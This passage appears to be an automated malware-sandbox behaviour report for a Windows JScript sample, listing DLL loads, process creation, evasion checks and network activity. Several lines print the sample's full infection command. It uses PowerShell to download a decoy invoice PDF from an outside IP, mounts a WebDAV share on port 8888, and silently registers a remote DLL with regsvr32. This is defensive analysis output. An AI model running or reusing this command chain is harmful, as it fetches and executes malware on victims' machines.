Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3606.js.csv");ITextStream.WriteLine(" entry:7383 f:mfnvpcqz");ITextStream.WriteLine(" exec:2 f:mfnvpcqz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49701

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5988			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3816			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4544	Thread sleep count: 5988 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4544	Thread sleep count: 3816 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 996	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6192	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5076	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1374657712.0000019DBDA3B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW#$3
Source: net.exe, 0000000D.00000002.1374657712.0000019DBDA3B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1373189184.0000019DBD9D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2552499575.000002CF8DC58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2550773677.000002CF8862B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\10372289876196.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
